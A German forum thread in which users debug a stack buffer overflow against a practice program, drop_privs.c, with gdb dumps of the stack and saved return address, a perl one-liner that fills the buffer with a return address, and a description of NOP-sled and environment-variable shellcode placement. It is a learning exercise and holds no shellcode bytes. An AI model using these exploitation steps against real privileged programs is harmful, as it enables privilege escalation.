#0  lowered_priviledge_function (ptr=0xbffff88a 'A' <repeats 20 times>) at drop_privs.c:9
#1  0x08048491 in main (argc=2, argv=0xbffff744) at drop_privs.c:14
(gdb) si
0x08048461    9       strcpy(buffer, ptr);
1: x/i $pc
=> 0x8048461 <lowered_priviledge_function+21>:    mov    %eax,0x4(%esp)
(gdb) print $esp
$1 = (void *) 0xbffff630
(gdb) x *{$esp}
0xbffff630:    0x00000005
(gdb)
50 % habe ich verstanden, ich werde die restlichen 50 % noch studieren.

Der Shellcode geht 100 %
Er läst sich auch in der Umgebungsvariable ansprechen.
Der ASLR schalte ich immer nach dem Neustart ab.
Nachdem etwas nicht funkt, Dann prüfe ich immer gleich den ASLR.
 

CDW

Moderator
Mitarbeiter
Als Anmerkung: in gdb nach strcpy noch paar mal "si" ausführen (vorher display/i $pc und/oder gleich "layout asm", "layout regs", "layout split" ausprobieren), bis man bei "ret" angelangt ist.

Vorher ist die Ausgabe des Pointers*[ESP] eher uninteressant - vor einem RET wird normalerweise der Stackframe wiederhergestellt und ESP nimmt einen anderen Wert an. Man sieht aber auch schon beim "info frame":
saved eip 0x8048491 (also ob überschrieben oder nicht).

Jetzt probiere es genauso mit dem kompletten
Code:
./drop_privs $(perl -e 'print "\xc6\xf8\xff\xbf"x40')
Eventuell auch mal nach einem graphischen Aufsatz für GDB schauen - vielleicht mal DDD oder EDB ausprobieren.

PS:
Der Shellcode geht 100 %
Er läst sich auch in der Umgebungsvariable ansprechen.
Dass der geht, ist schön ;) - der sollte aber auch wirklich an der ermittelten Adresse beim Ausführen der Anwendung liegen. Denn je nach dem, ob im Shellcode genug NOPs drin sind, muss man diese Adresse ziemlich genau "treffen" - und die kann sich auch ganz ohne ASLR verschieben (zumindest leicht). Ich hab' allerdings auch kein aktuelles Linux mehr als 32-bitter vorliegen und bei 64bit ist die Debuggerausgabe sowie das Verhalten doch einen Tick anders.
 

tomovic

Stammuser
hi,
ich bin deiner Strategie nachgegangen und mich schlau gemacht, was du mir mit den gdb Befehle sagen willst. Vielleicht ist es das beste dass man erstmal die Rücksprungadresse überschreibt.
break auf strcopy gesetzt. Sollte das gleiche rauskommen, denke ich mal.

PHP:
  	 	 	 	  0xbfb97460:	0x00000005	0x00000000	0x000000bf	0xb75578b3 
 0xbfb97470:	0x08048255	0x00000000	0xffffffff	0x00000001 
 0xbfb97480:	0xb7530b98	0xb76ea858	0xbfb97883	0xb76d3000 
 0xbfb97490:	0x080484a0	0x08048350	0x00000000	0x080482dd 
 0xbfb974a0:	0xb76d33e4	0x00000002	0x0804a000	0x080484f2 
 0xbfb974b0:	0x00000002	0xbfb97574	0xbfb974d8	      --->>> 0x08048491 <<<------ 
 0xbfb974c0:	0xbfb978ab	0x00000000	0x080484ab	0xb76d3000 
 0xbfb974d0:	0x080484a0	0x00000000	0x00000000	0xb753d935 
 0xbfb974e0:	0x00000002	0xbfb97574	0xbfb97580	0xb770d000 
 0xbfb974f0:	0x00000084	0x00000000	0xb76ea858	0x00000003 
 0xbfb97500:	0xbfb97570	0xb76d3000	0x00000000	0x00000000 
 0xbfb97510:	0x00000000	0xcbb3f115	0x1eebd504	0x00000000 
 0xbfb97520:	0x00000000	0x00000000	0x00000002	0x08048350 
 0xbfb97530:	0x00000000	0xb7700990	0xb753d849	0xb770d000 
 0xbfb97540:	0x00000002	0x08048350	0x00000000	0x08048371 
 0xbfb97550:	0x08048472	0x00000002	0xbfb97574	0x080484a0 
 0xbfb97560:	0x08048510	0xb76fb600	0xbfb9756c	0xb770d938 
 0xbfb97570:	0x00000002	0xbfb97883	0xbfb978ab	0x00000000 
 0xbfb97580:	0xbfb978de	0xbfb978e9	0xbfb978f9	0xbfb9794a 
 0xbfb97590:	0xbfb97954	0xbfb97e75	0xbfb97e81	0xbfb97ec3 
 0xbfb975a0:	0xbfb97ed7	0xbfb97ee6	0xbfb97f07	0xbfb97f18 
 0xbfb975b0:	0xbfb97f21	0xbfb97f2c	0xbfb97f34	0xbfb97f41 
 0xbfb975c0:	0xbfb97f61	0xbfb97f6e	0xbfb97f8d	0xbfb97faf 
 0xbfb975d0:	0x00000000	0x00000020	0xb76eb414	0x00000021 
 0xbfb975e0:	0xb76eb000	0x00000010	0xbfebfbff	0x00000006 
 0xbfb975f0:	0x00001000	0x00000011	0x00000064	0x00000003 
 0xbfb97600:	0x08048034	0x00000004	0x00000020	0x00000005 
 0xbfb97610:	0x00000009	0x00000007	0xb76ec000	0x00000008 
 0xbfb97620:	0x00000000	0x00000009	0x08048350	0x0000000b 
 0xbfb97630:	0x00000000	0x0000000c	0x00000000	0x0000000d 
 0xbfb97640:	0x00000000	0x0000000e	0x00000000	0x00000017 
 0xbfb97650:	0x00000000	0x00000019	0xbfb9767b	0x0000001f 
 0xbfb97660:	0xbfb97fd4	0x0000000f	0xbfb9768b	0x00000000 
 0xbfb97670:	0x00000000	0x00000000	0x2c000000	0x18050bc4 
 0xbfb97680:	0xd0355cad	0x20048e14	0x69e29418	0x00363836 
 0xbfb97690:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb976a0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb976b0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb976c0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb976d0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb976e0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb976f0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97700:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97710:	0x00000000	0x00000000	0x00000000	0x00000000 
 ---Type <return> to continue, or q <return> to quit--- 
 0xbfb97720:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97730:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97740:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97750:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97760:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97770:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97780:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97790:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb977a0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb977b0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb977c0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb977d0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb977e0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb977f0:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97800:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97810:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97820:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97830:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97840:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97850:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97860:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97870:	0x00000000	0x00000000	0x00000000	0x00000000 
 0xbfb97880:	0x2f000000	0x656d6f68	0x6d6f742f	0x74616379 
 0xbfb97890:	0x6b6f442f	0x6e656d75	0x682f6574	0x2f6b6361 
 0xbfb978a0:	0x706f7264	0x6972705f	0x41007376	--->>>>>>0x41414141 
 0xbfb978b0:	0x41414141	0x42424241	0x42424242	0x41424242 
 0xbfb978c0:	0x41414141	0x41414141	0x42424241	0x42424242 
 0xbfb978d0:	0x41424242	0x41414141	0x41414141	<<<<<----- 0x45540041 
 0xbfb978e0:	0x783d4d52	0x6d726574	0x45485300	0x2f3d4c4c 
 0xbfb978f0:	0x2f6e6962	0x68736162	0x47445800	0x5345535f 
 0xbfb97900:	0x4e4f4953	0x4f4f435f	0x3d45494b	0x35393132 
  

(gdb) info frame
Stack level 0, frame at 0xbfb974c0:
 eip = 0x804845e in lowered_priviledge_function (drop_privs.c:9); saved eip 0x8048491
 called by frame at 0xbfb974e0
 source language c.
 Arglist at 0xbfb974b8, args: ptr=0xbfb978ab "AAAAAAAAAABBBBBBBBBBAAAAAAAAAABBBBBBBBBBAAAAAAAAAA"
 Locals at 0xbfb974b8, Previous frame's sp is 0xbfb974c0
 Saved registers:
  ebp at 0xbfb974b8, eip at 0xbfb974bc
(gdb) info locals
buffer = "\000\000\230\vS\267X\250n\267\203x\271\277\000\060m\267\240\204\004\bP\203\004\b\000\000\000\000݂\004\b\344\063m\267\002\000\000\000\000\240\004\b\362\204\004\b"
(gdb) info stack
#0  lowered_priviledge_function (ptr=0xbfb978ab "AAAAAAAAAABBBBBBBBBBAAAAAAAAAABBBBBBBBBBAAAAAAAAAA") at drop_privs.c:9
#1  0x08048491 in main (argc=2, argv=0xbfb97574) at drop_privs.c:14
(gdb)
Wie soll ich die Rücksprungadresse überschreiben, wenn die Adresse kleiner ist wie der Buffer?

---------------
Ich kenne 2 Möglichkeiten und um ein Shellcode auszuführen:
1. [viele NO's][Der Shellode][viele Rücksprugadressen]
2. Ich copiere den Shellocode in die Umgebungsvarible. Dann rufe ich
./getenvaddr SHELLCODE ./meinprog
der sagt mir die genaue Adresse.
 
Oben